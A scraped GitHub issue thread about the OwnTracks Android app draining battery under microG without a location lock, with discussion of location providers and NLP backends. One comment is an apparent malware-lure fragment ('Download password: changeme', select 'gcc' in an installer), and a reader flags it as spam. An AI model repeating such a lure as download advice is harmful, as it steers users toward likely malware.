owntracks / android

OwnTracks Android App
http://owntracks.org
Eclipse Public License 1.0
1.39k stars 477 forks source link

Consumes excessive amount of battery when no system location lock #1813

Open TinfoilSubmarine opened 3 months ago

TinfoilSubmarine commented 3 months ago

I'm seeing this issue intermittently with microG since MLS stopped working. When I'm somewhere where I can't get a lock from cached WiFi/cell tower or GPS, Owntracks continually requests location and uses tons of battery.

TinfoilSubmarine commented 3 months ago

Download password: changeme In the installer menu, select "gcc."

Reported user, mods please remove unless user proves this is on-topic and not malware/spam

growse commented 2 months ago

Difficult to know if this is a microG issue or the way in which OT is calling the Aosp Locationmanager:

https://github.com/owntracks/android/blob/master/project/app/src/oss/java/org/owntracks/android/location/AospLocationProviderClient.kt#L34 is the bit where the location source is selected, and it uses GPS when in "HighPriority" (ie, Move) mode, and all three of "FUSED", "NETWORK" & "PASSIVE" otherwise.

It could be that setting up three location requests is not the right thing to be doing here, and that just using FUSED is maybe better?

I'll have a think about how this could be toggled at runtime to make for easier testing.

kri164 commented 1 month ago

You can try to install Unified Nlp providers to see what happens.

Local NLP Backend Local GSM Location NominatimNlpBackend

You can also start to grab geo data for possible Mozilla LS successor NeoStumbler

TinfoilSubmarine commented 1 month ago

You can try to install Unified Nlp providers to see what happens.

Local NLP Backend Local GSM Location NominatimNlpBackend

Note that these no longer work since v0.2.28.231657.